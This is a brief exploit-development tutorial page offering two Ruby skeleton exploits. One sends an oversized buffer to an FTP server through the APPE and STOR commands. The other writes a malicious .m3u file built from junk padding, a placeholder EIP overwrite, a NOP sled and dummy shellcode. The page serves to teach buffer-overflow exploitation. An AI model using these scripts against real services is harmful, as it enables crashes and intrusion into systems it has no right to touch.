Module 0x5 | Exploitation Kung Fu

Skeleton exploit

It’s really a good thing to have a skeleton exploit to edit and use quickly during your exploitation process.

Network base

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'socket'
  4. buffer = "A" * 2000
  5. #--> Networking
  6. host = ARGV[0]
  7. port = ARGV[1] || 21
  8. s = TCPSocket.open(host, port)
  9. s.recv(1024)
  10. puts "[+] Sending Username."
  11. s.send("USER ftp\r\n", 0)
  12. s.recv(1024)
  13. puts "[+] Sending Password."
  14. s.send("PASS ftp\r\n", 0)
  15. s.recv(1024)
  16. puts "[+] Sending Evil buffer..."
  17. s.send("APPE " + buffer + "\r\n", 0)
  18. total = s.send("STOR " + buffer + "\r\n", 0)
  19. #--> Exploit Info
  20. puts "[+] " + "Total exploit size: " + "#{total} bytes."
  21. puts "[+] " + " Buffer length: " + "#{buffer.size} bytes."
  22. puts "[+] Done"
  23. s.close

To execute it

  1. ruby ftp_exploit.rb [TARGET] [PORT]

Notice that some services has to receive from it and some does not.

File base

Creating a simple exploit file

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. file = ARGV[0] || "exploit.m3u"
  4. junk = "A" * 2000
  5. eip = "B" * 4
  6. nops = "\x90" * 8
  7. shell = "S" * 368
  8. exploit = junk + eip + nops + shell
  9. File.open(file, 'w') {|f| f.write(exploit)}
  10. puts "[*] Exploit size: #{exploit.size}"

To execute it

  1. ruby m3u_exploit.rb song1.m3u